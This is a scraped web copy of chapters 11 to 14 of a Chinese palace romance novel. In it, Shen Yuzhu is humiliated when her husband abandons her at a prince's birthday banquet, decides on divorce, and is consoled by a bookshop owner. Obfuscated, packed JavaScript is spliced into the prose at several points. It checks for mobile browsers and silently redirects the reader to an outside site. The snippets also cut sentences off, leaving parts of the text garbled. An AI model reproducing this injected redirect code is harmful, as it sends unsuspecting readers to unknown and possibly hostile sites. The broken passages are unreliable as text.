她现在也不知晓该如何才好,想到与这般人共度一生,便心生烦闷,只觉活着的念头都淡了,可若真是和离,引得两方长辈尽在一地,凭心而论,又好像还未到那般地步。 听罢,温慧也不说话了,只一个劲的抹泪。 她若是早些回来半月,如何会让姲姲受这般委屈。 沈玉姝乖乖拉起温慧的手:“好啦慧姐姐,过几日平亲王生辰,我还没个头绪呢,就等着你回来教我。” 温慧破涕而笑,卷着手绢拭去泪,好笑地点点她的额头:“你这小妮子,走吧,带你去街上瞧瞧。” ********** 宜平宫 尚琢敛眸信步而入,躬身行礼:“母妃。” 只见罗汉床上端坐着一个容貌艳丽、瞧着不过三十的妇人,赫然便是尚琢生母,丽妃。 丽妃手上把着一串黄阳绿碧玺佛珠,阖目一圈圈捻着。 尚琢面无表情独身而立,毫不在乎丽妃越发难看的脸色。 良久。 “混账!”丽妃摔珠怒视。 尚琢面色丝毫未变上一分,只淡淡道:“不念佛,就别糟蹋了好东西。” 丽妃被他气的头昏,指着他的指尖都发颤:“你说,沈氏女回门那日,你早早去哪了!” “回府。”尚琢吐出两个字。 “你非要气死我不可吗!”丽妃眼前一黑,堪堪被下人扶住,“那何氏有什么好的!你母妃看人不比你准?你为什么就不听我的!母妃都是为了你好啊!” 尚琢淡道:“都愣着干嘛,仔细着娘娘身子。” 丽妃手气的发抖,被扶着坐下。 “好,那你说,你怎么看沈氏女。”丽妃被扶着重新坐下,端起茶呷了一口。 尚琢顿了一会:“就这样。” 他一双寒凉的眼睛瞧向丽妃,扯起唇角:“不是您和皇后娘娘让我娶的吗,现在又何必问我。” “有什么意义?” 他话音落下,丝毫没有等待丽妃回应的意思,一撩衣袍便大步离开了屋子。 尚琢眼皮压的低,看人的时候格外森冷。 外头宫女早听见里头的争吵,乌泱泱跪了一地。 丽妃被气得额角一抽一抽地疼。 外人不知其中关窍,她却最是知晓。 沈玉姝嫁给尚琢,皇上本是不肯的。 她与皇后费劲了手段,才用着内外压力,让皇上不得不应允了这事。 甚至直至今日,皇帝都不满意这桩婚! 丽妃有些脱离地闭上眼。 无他。 ——沈玉姝原本,是皇上钦定的太子妃。 沈家势力中庸,与她成婚,皇帝不免多几分信任。 若真让她与太子成婚,夺嫡哪里还有尚琢的机会。 她与皇后为尚琢百般筹谋,结果一朝毁在何之纯那个贱人身上! 丽妃狠狠咬牙。 她绝不容许任何人挡了她儿子的路! 11. 第 11 章 沈玉姝随着温慧上了街。 京中商铺街众多,但乌南街当属翘楚,有名的首饰坊、布坊都落在这。 沈玉姝第一次准备别人家的寿辰礼,不晓其中关窍,见温慧带她来了乌南街还心生疑惑。 不该从府中库房挑吗?宁王府、恭王府里头东西大多都是御赐,外头的哪能比府中的好? 她这么想着,也便这么问了。 温慧失笑:“谁说是给平亲王挑寿辰礼的?” 沈玉姝:“啊……那是?” “给你买。”温慧拉着她的手走进一家布坊,“我这个做姐姐的难得回来一趟,不给妹妹买点礼物像什么话?” 她说着,视线在布坊里转了一圈,轻声道:“掌柜的。” “欸,夫人。”掌柜应着跑来。 “藕粉的、天青的、云水的、蜀锦湘布,都买了。”温慧环视一圈,大手一挥言简意赅道,“按她的身量做冬装和春装。” 她说着轻推了沈玉姝肩膀,往前凑了一步。 沈玉姝讷讷听着,本想说自己衣物够,却又在瞧见温慧眼底一些道不明的情绪时,将喉间话咽下了,乖乖跟着掌柜去后头量身量。 温慧瞧着眼酸,连带着指尖也酸,不知是不是怀孕的缘故,情绪总较常的敏感些。 姑母去的时候,沈玉姝还太小,不记事,可她却是记得清楚。 她爹娶了三房小妾,最宠便是林小娘,不喜她娘,也连带着不喜欢她,甚至冬日的棉服也不给她做。 只有姑母待她最好,知晓事情后,一年里有大半时间将她接到沈府住。 姑母早逝,长姐如母,她就要担起责任来,帮沈玉姝把路子铺好。 如今玉姝未下定决心和离,她便先帮她把未来可能会遇到的阻碍解决了,免她日后回了封地,沈玉姝真遇到问题,连个说心的都没有。 沈玉姝正量完身量走出来,面上挂着一点轻松笑意,走到温慧身边牵起她的手:“慧姐姐,我量好啦。” 温慧拍拍她的头,问掌柜:“这些衣服多久能做好?” “一月余便能尽数做好。”掌柜喜气洋洋说着。 这一单顶他店铺半月销量了。 “行,带着账单去宁王府结款,衣服做好了送去恭王府。”温慧说着便拉着沈玉姝往外走。 沈玉姝走在温慧身边,眼睛四处瞧着。 她想吃……牛乳糖。 她的牙根又漫上一丝丝甜味。 “想什么呢。”温慧准确捕捉到沈玉姝的出神,轻轻晃了晃她的手。 “啊……想吃梅花糕。”沈玉姝下意识道。 温慧似笑非笑地瞧着她仍未归心的表情,轻轻挑起眉:“走吧,带你去买。”她拉着沈玉姝的手,“我记得你以前最喜欢吃前头那家的梅花糕。” “不好吃了。”沈玉姝攥住温慧的手,往北边指了指,“那家梅花不香了,现在北边的铺子好吃一些。” 她笑着说:“秋兰总说是北边那家铺子,把别人师傅撬走了。” 温慧被她说的好笑,无奈跟着往北边去了。 这时辰不早不晚,人不多,排了两个便拿到梅花糕。 沈玉姝一手捻着梅花糕,眼睛飘着,瞧见一家装潢熟悉的店。 还从糕点的味道里嗅见一丝淡淡的清漆味。 温慧不动声色瞧着她的表情,轻轻笑了声。 “那个……”沈玉姝清清嗓,“慧姐姐,我去借本书。” 温慧毫不意外:“去吧。” 沈玉姝便抱着梅花糕跑了。 那个东家说不卖牛乳糖,她如今来借几本书,多换几颗糖总可以吧? 她舌尖好像还想起来牛乳糖的一点味道。 沈玉姝有些后悔上次吃得那么早,与尚琢吵完一架后,哪还记得味道。 她这么想着,掀起了书肆的门帘。 沈玉姝下意识往柜台瞧去。 掌柜不在。 只有一个面稚的小厮。 沈玉姝跨入的步子顿了一顿,复而又抬起,心不在焉挑了几本书到柜台前。 “借书。” 小厮正打着盹,被这声惊醒了来,迷糊比了个数:“半月还回来。”说完又闭上眼。 没有糖? 沈玉姝迟疑的将铜板放到桌上。 抱着书走了几步,一抿唇,又折回来:“叨扰。” “嗯?”小厮有些不耐地抬起眼,瞧清沈玉姝模样时,立刻清醒了。 “噔”地坐直笑问:“姑娘还有什么需要?” “……牛乳糖。”沈玉姝拧着眉问,“没有吗?” 小厮愣了愣:“什么牛乳糖?我们是卖书的,不卖糖,姑娘可是找错了店?” 难道只有那个东家有?沈玉姝闻言心说。 算了。 沈玉姝牙齿落在下唇,唇上落下道一瞬即逝的痕迹,匆匆说了声抱歉,便捧着书离开了。 出门便撞上温慧。 温慧视线落在她怀里的书上:“借到了?” 沈玉姝苦着脸点头。 没吃到牛乳糖,她有些郁闷。 温慧拉起她的手:“走吧。” 二人一并回了马车。 将上车,温慧将一套紫檀木盒送她手上:“平亲王的寿礼,送这个便好,届时到了平亲王府,你便来寻我,我再一点点带着你去。” 沈玉姝乖乖应下:“谢谢慧姐姐。” 马车一路到了恭王府,沈玉姝便捧着盒子和书雀跃下去了。 温慧坐在车里,一手挑着帷幕,静静瞧着沈玉姝进了恭王府,这才放下手,重新坐正。 她面上笑意寸寸淡下:“去沈府。” 车夫应声,甩着马鞭去了。 ****** 一旁下人极有眼色地上来,替沈玉姝拿了手里东西。 沈玉姝松快了手,拍拍掌心不存在的灰,忽然想起秋兰还在宁王府…… 她脚步一顿,有些倒牙,心说自己怎么能把人落那了。 到时候秋兰回来又得挨一顿念了。 沈玉姝舌尖抵着虎牙,然后与一旁小厮交代一声:“带人去宁王府,把秋兰接回来。” 小厮应声去了。 沈玉姝见安排妥当,便带着拎东西的小厮往主院走去。 她将一进主院,远远就看见在守在门外的玉兰。 沈玉姝与她道:“紫木盒好生收起来,书收到小书房。” 玉兰应了声,似乎有什么要说,纠结一番,还是带着小厮往库房去收拾东西了。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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沈玉姝抿着唇,半晌未出声,无声应下了这句赌约。 何之纯微微一笑。 从一旁拿起白狐裘披在身上,冲沈玉姝规矩行了礼:“那臣女就告退了。” 沈玉姝顿住的视线中,意外瞥到何之纯红肿发紫的指节。 却不待她多看,何之纯便已转身离开。 那是什么? 沈玉姝不明所以。 她晃晃脑袋,把这件事暂时赶出去,唤来了玉兰:“你去与王爷说一声,我要与他商议平亲王寿辰的事。” 玉兰行过礼,半晌等来了尚琢身边的大公公苏进。 苏进打了个千儿:“奴才请王妃安,王爷正忙呢,让奴才来给您传个话,” “王爷说您放心便是,他会妥帖安排好的。” 沈玉姝迟疑地点了头。 既然他都这么说了,应该不会出意外了吧? 沈玉姝这么想着,应下了苏进的话。 如今,就只等三日后的平亲王生辰了。 12. 第 12 章 三日后是个有些阴的天。 沈玉姝昨夜没睡好,辰时未到便醒了,就坐在梳妆桌旁,瞧着外头不甚明朗的天色,由着秋兰给她梳妆。 沈玉姝一只手拿着冰袋敷眼睛,心里有些纠结。 今日是她和何之纯的赌约,她有些没底。 沈玉姝右手被冰得发疼,便换了左手捂着。 她不知道何之纯会做什么,心中像是空了一块的惶惶。 秋兰手巧,快速给她挽了个螺髻,从匣子里挑了上次皇后娘娘赐的东珠玉簪别上。 又寻了件秋波蓝曲水花卉纹袄,扒拉着沈玉姝的手给换上。 待按制妆毕,用过早膳,已近了巳初。 沈玉姝贴近水银镜确定眼下的淡红已被脂粉遮住,这才放心出了门。 她远远便瞧见了立在院内的尚琢。 见到沈玉姝的身影,尚琢微微一颔首,先她两步身位置,往外马车上去了。 毕竟是宴席,二人便没再分坐两辆马车。 沈玉姝也就没多迟疑,搭着秋兰手腕躬身进了车室。 车室宽大,沈玉姝就寻了斜对面的位置坐下,既不用对面看着,也不隔得很近。 沈玉姝偷偷松了口气。 尚琢视线不明地落在她身上,眼眸微眯,又淡淡敛下了。 良久,尚琢问:“宴礼准备好了?” 沈玉姝道:“嗯,慧姐姐……宁王妃准备的。” 尚琢淡声道:“既认识,待会到了那你便跟在她身边,莫出了岔子。” 沈玉姝心里撇嘴,没搭他的腔。 这几日何之纯安静得有些怪,连封信都没传来。 她微觉有些异样。 马车缓缓停下。 只听外头礼官高声唱到:“恭王、恭王妃到——” 尚琢率先下了车。 沈玉姝一手捧着紫檀木盒,一手掀开车帘,就看见尚琢悬空递来的手。 沈玉姝愣了一瞬,想想还是将手搭了上去,小心翼翼踩着马凳下去了。 她今日穿的绣鞋有些磨脚,不太舒服,便格外小心些。 秋兰将寿礼递给管家,管家接过礼,冲他二人一拱手,本想说些什么,就听后头礼官高唱道:“太子殿下到——” 沈玉姝跟着尚琢往前走的脚步一顿。 那股阴湿感忽而又从她耳后冒了上来,她身子一个哆嗦,指尖有些发麻。 这股阴湿感让她在人群中有些不自然,耳根泛红。 她其实还未曾见过太子殿下的正脸。 沈玉姝不禁停下脚步,下意识往后看去。 却只见到一个身穿剑袖长袍军中打扮的人走下来,递上一份礼:“我替我家主子前来贺寿,祝平亲王福如东海。” 沈玉姝一步三回头跟着尚琢走进了平王府,心里头止不住的好奇,纠结半晌还是问:“太子殿下可以不来吗?” “可以。”尚琢淡淡道,“他是太子。” 园内分了男女宾,过了二道垂花门,二人便要分开。 尚琢走了几步,又停下来,拧着眉半晌道:“好生跟着宁王妃。” 沈玉姝心下腹诽几句,转身往东边去了,没走出几步,就见温慧独立在影壁旁,远远见她便笑起来。 沈玉姝小跑到温慧身边,发上的东珠发簪一晃一晃的。 阴沉的天里,硬是晃出了点明亮的天色来。 沈玉姝挽着温慧的手:“慧姐姐。” 温慧露出一点清浅的笑意:“怎么来的?” 沈玉姝道:“和尚琢一块来的。” 温慧颔首,一面带着她往内院去。 里面都是京城贵女,出阁的未出阁的都在。 沈玉姝环视一圈,没看见何之纯的身影。 她心里那点怪异的阴霾却丝毫没有消散,反而更浓了些。 “哎呀,玉姝!” 沈玉姝听见有人唤自己,恍然回过神来,只见到一道花绿恍惚的身影。 花绿的身影飘到她面前,笑盈盈地拉过沈玉姝空着的那只手:“我们好久没见了吧,你最近怎么样呀?” 沈玉姝这才看清她的脸。席雯,通政司右通政之女。 沈玉姝不喜欢她。 先前尚在闺中时,她便总是逮着机会就挤兑她,说一些没由来的酸话。 果不其然,接着便听席雯说:“哎呀我都忘了,最近老听见你消息,听着过得应该还不错才对。” 沈玉姝懒得理她,挽紧了温慧的手臂。 她当真是不想和席雯计较,大庭广众之下逞几句口舌之快,瞧着多难看。 何况她现在心中装着事,更不想与她多说。 温慧不咸不淡地瞥了她一眼:“你是何人?” 席雯住了嘴:“回王妃,臣女是席右通政之女席雯。” “不认识。”温慧淡淡道,“见了王妃,你该行礼,拿着乌七八糟的话到王妃面前说,当何罪?” 她话音落下,给旁的婆子使了个眼色。 婆子立刻上前,一言不发,扬起手重重抡下一巴掌。 婆子是个有底子的,一个巴掌下去,闷声不响,席雯的脸却肉眼可见地肿了起来。 席雯被打蒙了,愣在原地说不出话,豆大的泪珠断了线般地落。 温慧看够了,这才不紧不慢抬起手:“谁让你打人了。”她状似不满地瞥了婆子一眼,又对席雯说,“你别介意,这婆子是宁王侍卫调理的,性子急,打疼你了吗?” 闻言,别说席雯了,沈玉姝都愣住。 又听温慧淡淡道:“不过规矩不可废,席姑娘你说是吧。” 一巴掌一个甜枣。 沈玉姝舌尖舔过唇缝,尝到了一点口脂味。 心说慧姐姐真厉害,换作她就处理不了这么好。 说到这席雯哪还有什么不明白,闷着头含着哽咽冲沈玉姝道了歉:“对不起王妃……臣女冲撞,还望王妃原谅。” 沈玉姝大度点了头,就拉着温慧走远了。 她问温慧:“大家都看着,这样会不会不好?” “你品阶高于她,她无礼在先,为何会不好?”温慧反问她,然后轻笑了一声,“做事就要做绝,让别人记得你的坏或者你网开一面的好,总归不能让别人在坏里品到好,她就会觉得你懦弱。” 沈玉姝听着晕乎,怀氏没来得及教她御下之术,今日温慧这一说,她才后知后觉懂了一些。 众口铄金,今日若不找个傻的开刀,宴席上难免会有不长眼恶意挤兑,还不如在开席前便在前院解决了,让大家各个管好自己的嘴。 温慧瞧着好笑,带着沈玉姝往席面去。 除却一些嫌席面闷热的,大多数人都已经入席了,平亲王妃坐在上座,敛着眼细细听旁的侍女说话。 侍女音落、身回正,平亲王妃视线轻飘飘落在沈玉姝二人身上,眼底似乎含着一点笑意。 沈玉姝不自觉正了身子。 她对平亲王妃印象不深,只记得她与平亲王关系不太好。 平亲王有一个宠爱的瘦马妾室,若只如此也便罢。 当年平亲王随御驾下扬州,对这个瘦马一见钟情,排解万难将人带回京城,在府中好生养着,丝毫不顾及半月后与如今王妃的大婚。 坊间对平亲王妃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14828260|158838||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好一阵嘲笑。 沈玉姝跟着温慧在圈椅上坐下,捧着温热的茶暖发凉的手,边打量着平亲王妃。 平亲王妃本名诸微月,莫约四十岁,瞧着却只像三十的模样。皮肤莹润光泽,凤眼清透。 沈玉姝觉得平亲王眼睛有些不太好。 诸微月似有所感地抬起眼,对上沈玉姝的视线,微微一笑。 沈玉姝眼睛飘着,捧起茶水喝了一口,一下烫着舌头,眼尾都泛着泪花。 此时巳正过两刻,离午时开宴还剩两刻钟。 何之纯身影未见,连消息都没有。 沈玉姝心中的不安感越重。 宴会男女分席,中间只用轻纱屏风隔开,沈玉姝抬眼寻去,却未曾瞧见尚琢的身影。 那股不安感迅速蔓延到喉间脾肺,呼吸都迟缓了起来。 沈玉姝蜷蜷指尖,与温慧说:“慧姐姐,我出去转转。” 温慧深深瞧她一眼,应下了:“别乱跑。” 沈玉姝起身出了门,便沿着游廊往西边男宾方向去了。 她只远远换小厮过去叫尚琢,这算不得无礼。 沈玉姝咬着下唇,开始缓慢的步伐渐渐加快,最后几乎小跑了一段,不甚合脚的绣鞋磨得她跟腱生疼。 心底的不安丝毫未曾随着周遭流动的风散开,反而越发盛起,压在心底停了跳跃。 离着垂花门还有小半条廊远,沈玉姝便看见了尚琢和他的小厮,二人在说些什么。 尚琢原本面无表情的脸,随着小厮话音说长,越来越沉下。 最后沉得出水。 沈玉姝步子慢了下去,一点点往垂花门走去,下一瞬就见尚琢转身欲走的身影。 沈玉姝加快几步,拽住了他的手腕:“你去哪?” 尚琢垂眸,撞进了她那双黑亮的眼睛里。 他有些迟疑,但还是道:“何之纯出了事,我得去接她。” 他说得坦坦荡荡,就像回宫觐见那日,何之纯身子不适他便要回府、她回门那日,因为何之纯说要游湖,他午膳未用便要早离。 毫无掩饰,就好像不屑与她多说一样。 沈玉姝颤着指尖:“不能明日去吗……” 三日前与何之纯的赌约犹在耳畔,她连嗓音都在发颤:“一定要今日?” 她身后是来往忙碌的侍女,还有偶投来几眼好奇目光的宾客。 “你分明知道……知道今日有多少人瞧着,你还一定要去?” 沈玉姝一双沉黑的鹿眼里满浸了泪,折着阴沉的天光落到尚琢的眼里。 尚琢偏重色的眉头深深皱着,上眼皮压得极底。 良久,他一寸寸拨开沈玉姝攥着他的五指:“你懂事些,她出事了,我不能不去。” 他知晓这次沈玉姝会受些委屈。 他也想好了,明日他便会将前些日子落到他手上的修葺宫殿的活,交给沈父。 修葺宫殿是个简单活,油水还足。 如此也算是补偿沈玉姝了。 沈玉姝看着尚琢眼底一些她看不懂的情绪,呼吸渐渐顿住。 又是补偿?像上次那样的? 她根本就不在意这些! 沈玉姝看着尚琢转身往前院去的背影,眼尾的眼泪倏然落下,滑到下巴尖上。 比起宫宴丢人的事。 夫君次次将她抛之脑后、丝毫不顾及她的想法与处境,这才是沈玉姝最无法接受的事。 夫妻之间该是相互扶持、彼此理解,而不该是尚琢这般对她没有一丝尊重。 沈玉姝无法想象要与这样的人共度一生。 她要和离。 13. 第 13 章 这个念头在沈玉姝心中绕了又绕,落不到实处。 沈玉姝无意识地紧咬着牙关,直到冷风一吹,她这才恍然觉察到面上的凉意。 “王妃,外头凉,您仔细着身子。” 沈玉姝看着小厮有些尴尬的面色,勉强露出了一个还算温和的表情:“知道了,你下去吧。” 她说完背过身子,敛起袖口一把抹去下巴尖堆起的眼泪,一顺着抹上眼尾,擦了干净。 小厮迟疑的步子渐渐走远了。 沈玉姝立在垂花门这个风口半晌,目光游离落在院中的水漏上。 巳正三刻。 她鼻子堵得难受。 至少目前,她不想回这个席面。 沈玉姝第一次觉得自己懦弱。 沈玉姝拎着裙摆,毫不犹豫地往府外走去。 理性告诉她,即便为了她自己,她也应该周到地走完这场生辰宴。 可是沈玉姝心里堵得慌,连呼吸都好像止住了。 她决心是不愿继续与尚琢过下去了,可是她害怕。 她与尚琢才成婚半月,如今和离,皇后娘娘待她那么好,她会怎么想?坊市口中又该如何议论她? 况且她与尚琢乃圣上指婚,皇帝知道了又该如何? 沈玉姝心思纷乱,眼睛里不知不觉又蓄上泪,模糊了路。 她的绣鞋磨脚得很,穿过院子时险些跌了,手堪堪扶着粗粝的墙才站稳身子,她只想立刻离开这里。 她一路过了游廊、院子,踏出垂花门,仓皇跑上了街道。 周遭人来人往,沈玉姝这才呼吸到了新的味道。 她心跳如擂鼓,甚至耳边都听见心跳的频率。 沈玉姝呆呆站在人潮中间,眼里蓄了半晌的泪瞬地落了下来。 她慌张的掩去身子,手忙脚乱去擦眼泪,才骤然发现她的手已经抖得不成样了。 好烦。 沈玉姝泄气地抓起旁板车上的烂菜叶子往地上愤愤扔去。 不轻的力道作在小叶子上卸了大半,轻飘飘落在地上。 平亲王府外头是一条发展成熟的街道,往西走三个铺子正在修缮。 沈玉姝包着眼泪,盯着地上犹豫半晌,又蹲下捡起那片被自己扔到地上的烂菜叶子,风间流动,鼻尖闻到了一股若有若无的清漆味。 她几乎是霎时就想起了乌南街的书肆。 也不知道东家在不在。 她今天忽然很想吃牛乳糖。 沈玉姝垂着脑袋,犹豫将手上的烂菜叶子放回板车上,小步往乌南街走去。 - 侧后方茶楼,一个身穿晴山蓝长袍的男人坐在窗边,手上把玩着一盏白玉茶碗。 浅黑色的虎口痣被白玉清透的颜色,无端衬得有些色气。 一个身穿剑袖长袍的男人立在他身后,刚毅的脸上有几分犹豫:“殿下,真的不去?陛下会不会怪罪于您?” 他迟疑地看着男人偏头的身影。 顺着目光往下看去,就看见一个站在板车旁,穿着秋波蓝袄子的窈窕身影。 下官偏了偏头:“这是……沈小姐?” 他晨间送礼的时候见了沈玉姝一面,有些印象。 “这时候席面不是该开始了吗,她怎的在这?” 尚珏:“闭嘴。” 下官安静了。 尚珏敛起视线,偏头望去,便看见女人脆弱微红的眼尾。 他揉着白玉盏杯沿的指腹一顿。 “诶,沈小姐怎么走了?”男人奇怪看着沈玉姝离开的方向,“那个方向不是恭王府吧……” 是乌南街。 尚珏玩味地弯起唇,理衣起身:“走了。” 男人:“……殿下您去哪?” 尚珏轻笑一声:“做好人。” *** 沈玉姝乌南街北街去,鼻尖的清漆味越来越清晰,最后顿在书肆门前。 沈玉姝有些迟疑。 她只是为了一颗牛乳糖来,会不会很奇怪? 她毕竟是婚中女子,没有一个正式的借口就私下去寻陌生男子,好像不太好。 沈玉姝贝齿落在下唇,将粉嫩的唇咬的泛白。 算了。 感觉费心找个借口更奇怪。 沈玉姝这么想着,缓步走上了书肆的阶梯。 阴了半日的天忽然放晴了。 沈玉姝撩起书肆的门帘。 若有若无的清漆味轻易找到了源头。 书肆里没什么人。 希望东家…… “姑娘有什么需要?”温润的男声忽然传进她的耳边。 ……在。 她心头未说完的话幽幽落下了尾巴。 沈玉姝转头对上尚珏那双如珠似玉的眼睛。 她鼻尖忽然就酸了。 “我买几本书,你可以给我一些糖吗?”沈玉姝声音弱弱的,压着喉间的哽咽。 上次她来时带着帷帽,尚珏不曾见过她的脸,定然不记得她,但是她还记得尚珏说牛乳糖不外卖的事。 尚珏无奈笑了:“上次不是与姑娘说,若想吃,随时来店里便是吗?” 尚珏微微弯起眼睛:“何故要破这个费。” 沈玉姝怔住,她没想到尚珏会记得她。 她看见尚珏从抽屉里拿出上次那个小竹筐,冲她招招手:“来。” 沈玉姝下意识过去了,跟着尚珏走到窗边的矮桌旁 外头种了腊梅,放晴的光一打,绰约的影子便打下来落在桌上。 尚珏将小竹筐放到桌上,里面半满的糖随之跳动几下,其中一两颗的油纸包散开了,露出一点奶白的糖色。 鼻尖的清漆味被牛乳糖味替代。 沈玉姝眼里的泪又蓄了上来。 她本来已经将委屈尽数消化了,可看见别人耐心待她时,一丁点残留的委屈又顺势滋生。 沈玉姝手忙脚乱地卷起袖子去擦眼泪,却忽然看见面前递过来的一方云水色手帕。 尚珏笑意温和:“没用过的,新做的。” 沈玉姝愣了愣,迟疑地接过帕子拭去眼泪:“谢谢……” 她躲着视线在尚珏对面落座。 她原憋着一腔心事,一时冲动就来了书肆。 理智其实还有几分期待尚珏不在,这样她就有借口违背着空空的心里顺势离开。 如今与尚珏面对面坐下,她一双白皙的手绞成了麻花,眼睛都不敢落在牛乳糖上面。 一颗展开油纸的牛乳糖被放在她面前。 浅浅的虎口痣随之在视线中一闪而过,沈玉姝动着眼睛,没忍住追了过去。 尚珏笑道:“不是要吃糖吗?” 沈玉姝纠结地咬着唇,低低道过谢,迟疑地捻起糖扔进口中。 牛乳糖的味道迅速蔓延,极好地缓解了她心中的难过。 好一会她才慢慢开了口:“叨扰东家了。” 店中人不知什么时候散完了,只剩他二人在这方角落对坐。 尚珏温声道:“开门做生意,如何算叨扰?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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好一会,她拿起了那颗糖,选择拆开,放进了口中。 她忽然没有那么害怕了。 不论如何,她是名正言顺的,错的是尚琢。 外头起了风,带着将落的腊梅花瓣飘进了屋内,落在了桌上。 沈玉姝心情明朗了不少,弯着眼抬起头去看尚珏,见到了微敛着笑意的男人。 他一手撑在眉骨,嘴唇绷直,阳光透过窗棂只过了他的鼻尖,显得整张脸落在昏暗中。 沈玉姝没由来觉得这张脸有些眼熟,像在哪里见过一般。 也是这么一个有些昏暗的场景、有些克制的面色。 一瞬间,她的心跳比刚从平亲王府出来时跳的还要快。 沈玉姝甚至怀疑,对面的尚珏都能听见她飞快的心跳声。 沈玉姝耳根绯红地撇开眼,浓密鸦黑的睫羽几乎眨出了残影:“……你、你怎么与我……说这个。” 尚珏轻笑:“看姑娘不高兴,随便聊聊。” 沈玉姝哑然。 尚珏从袖中拿出一个小瓷瓶放在她手上,温热的指尖一触即分。 沈玉姝指尖反射性地一缩,颤着眼雾蒙蒙地瞧着尚珏,又匆匆躲开。 “……这是?” “伤药。”尚珏唇角噙着一点笑意,隔空点了点沈玉姝的手心。 沈玉姝顺眼望去,只见一道半指长的伤口,在白皙的手心显得格外显眼。 是那时在平亲王府摔倒时,扶在柱子上不小心擦伤的。 沈玉姝微微怔住。 尚珏淡淡一笑,用小勺挖起一块药膏递到她另一只未受伤的手边:“自己来?” 与此同时,沈玉姝耳边恍然响起另一道沙哑的声音:“自己来?” 她的腰霎时就麻了。 14. 第 14 章 书肆里弥漫着一股淡淡的香味,是区别于清漆之外的。 ——是香漏的味道。 沈玉姝从来没闻过这种香,又沉又淡,很特殊。 她稍稍偏了头,看见了时过午时的刻度。 午初二刻。 生辰宴已经开始了。 沈玉姝心中原本的恐惧散了七七八八。 她红着脸站起身,有些羞涩地和尚珏告别:“今日真是叨扰东家了。” 她手心那道不算深的痕迹,盖上了一方云水蓝帕子,打了个漂亮的结,在手上绑了一圈。 尚珏莞尔一笑:“不必。” 他视线轻飘飘落在沈玉姝手上,又重归落在她琉璃质感的眼睛上:“姑娘日后要当心些才好。” 沈玉姝小小点着头。 她的绣鞋更磨脚了,让她有些难受。 沈玉姝试探走了两步,却险些往后头倒去,撞上一个灼热的胸膛。 沈玉姝擂鼓般的心跳骤然绷直,恍若停下。 她的后背感受到的陌生温度,毫无阻碍地传导到五脏六腑。 “我、我……”沈玉姝慌忙要站起身,却被尚珏攥住了手腕。 尚珏敛着眼,将女人从发丝间露出来的小寸莹白的肌肤尽收眼底。 那夜的沈玉姝也是这般,轻轻挣扎又大胆地询问。 像贪吃的小猫,一个劲的蹭,受不了了又娇气地咬他的肩膀。 轻得像被猫爪子挠了。 尚珏玩味地勾起唇,指腹不自觉地在沈玉姝的腕子上稔了又稔。 一时不察,让小猫跑丢了,跑到了别人的院子里。 但那又如何,跑丢的小猫迟早要回家。 尚珏眸底暗色闪烁,面上却是极有风度地松了手:“抱歉。” 沈玉姝脸红的像番茄。 她本想骂男人是个登徒子,可男人温柔开导她,又急忙道了歉,她满心羞愤找不到出口,只得尽数涌上了脸。 她咬着唇,还在找个合适的回答,就又听男人不解的问话:“姑娘怎么脸这么红,可是病了?” 沈玉姝感觉脑袋都晕了。 她耳朵红的滴血,舔舔嘴唇细细说:“……没有。” 尚珏瞧着她右耳垂上小小的红痣,坏心思地勾起了唇:“当真没有?我去给姑娘寻个大夫来瞧瞧好了。” “真的不用!”沈玉姝声音骤然提高,捂着耳朵往旁边一躲。 怎么这人这么木讷!还说请大夫! 沈玉姝紧紧闭着眼,几乎想将脸埋进怀里。 尚珏低低一笑,决定暂时放过这只不听话的小猫。 惩罚够了,再闹,小猫就该跑了。 沈玉姝站在书架后头好半晌,不敢去看尚珏,直到腿都麻了,才瓮声瓮气地说:“我……我先走了。” 说完不等尚珏答应,便一股脑跑出了书肆。 鼻尖那股若有若无的香味这才散了。 屋内,尚珏餍足地捻了捻还有余温的指腹,淡声道:“护送她去平亲王府。” 下官:“……是!” ** 沈玉姝脚上飞快走出乌南街,面上的红热一直到了平亲王府门前才缓解。 沈玉姝愣愣将冰凉的手心贴在脸侧,呆呆眨眨眼。 手腕被攥住的体温恍若未散。 和一个男子贴的那样近……真是疯了。 沈玉姝揉了揉右耳垂,稍整了心思,强装镇定地走入了平亲王府。 若是不仔细看的话,应该看不出她的异样。沈玉姝暗暗点头。 她猫身走进宴厅,随意环视一圈,何之纯还没有来。 她不知道何府具体在哪,所以也不知道这个耗时对不对。 沈玉姝走到座位上坐下,轻轻舒了一口气。 温慧转过头:“你的脸怎么那么红?” 沈玉姝:“?” “耳朵也那么红。” 沈玉姝:“??” “脖颈……” !! “慧姐姐!”沈玉姝低叫一声,“摔的!” 温慧:“嗯?” “把脸摔红了?” 沈玉姝点点头:“被吓了一跳。” 温慧视线划过她手心的云水蓝方帕上,轻轻一笑,敛起了眼。 见温慧没再追问,沈玉姝绷紧的背这才松下。 她本来以为自己已经不脸红了,没想被慧姐姐一眼就看出来了。 沈玉姝纠结地咬着口脂,心想是不是因为自己太白了,所以脸红就格外明显? 她边纠结地剥了一颗橘子,顺手送了一半到温慧手边,然后叼着一瓣继续思考。 ——没想出来。 沈玉姝泄气地吃完了剩下的橘子,抬头对上诸微月似笑非笑的目光。 沈玉姝猛地一凛,后知后觉地发现自己的不礼貌。 她歉意地冲诸微月欠身,换来了身后时候的侍女来:“劳烦帮我与王妃说一声,适才家中有急事,这才迟了,待散了宴,再亲自去与娘娘赔罪。” 